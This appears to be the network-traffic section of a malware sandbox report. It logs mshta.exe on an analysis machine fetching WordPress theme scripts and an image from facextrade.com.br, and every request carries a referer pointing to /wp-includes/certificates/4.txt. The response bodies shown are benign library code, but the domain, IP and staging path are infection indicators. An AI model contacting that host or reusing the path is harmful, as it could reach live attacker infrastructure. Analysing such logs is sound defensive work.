65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70
                                                                                      Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b||""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d||b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")||D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.typ
                                                                                      Aug 16, 2022 11:39:40.241934061 CEST2288OUTGET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.482530117 CEST2313INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:15 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534bd-434-58592d488ae40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT
                                                                                      Content-Length: 1076
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395060 23601816
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68
                                                                                      Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f||(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h
                                                                                      Aug 16, 2022 11:39:40.486756086 CEST2314OUTGET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.718524933 CEST2362INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:15 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534b4-1b97-58592d4796c00"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT
                                                                                      Content-Length: 7063
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395062 18314947
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29
                                                                                      Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent()
                                                                                      Aug 16, 2022 11:39:40.732719898 CEST2369OUTGET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.970475912 CEST2401INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:34:50 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a5353d-4343-58592d4a732c0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                                                      Content-Length: 17219
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395064 17189012
                                                                                      Age: 291
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66
                                                                                      Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b||a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]||{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix||b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
                                                                                      Aug 16, 2022 11:39:40.973788023 CEST2419OUTGET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:41.210382938 CEST2444INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:35:18 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a508ae-2af-5c93d38583b98"
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT
                                                                                      Content-Length: 687
                                                                                      Content-Type: image/png
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395065 15664750
                                                                                      Age: 262
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                                                      Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil*$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&D*T!v2"X<Mg&NshvU0mBB*tt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?*2:tizG)Lu%Cg9-IdAr"|#udpJ*_f~1|h2s1Ymi5j+Wez&d'~dS&7Zcu`^K*lgd>1n]H-b$2!|5U|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      24192.168.2.349770187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:39.323664904 CEST2155OUTGET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:39.561981916 CEST2171INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:42 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a5146a-bbe-5c93d38d9c220"
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      Content-Length: 3006
                                                                                      Content-Type: application/x-javascript
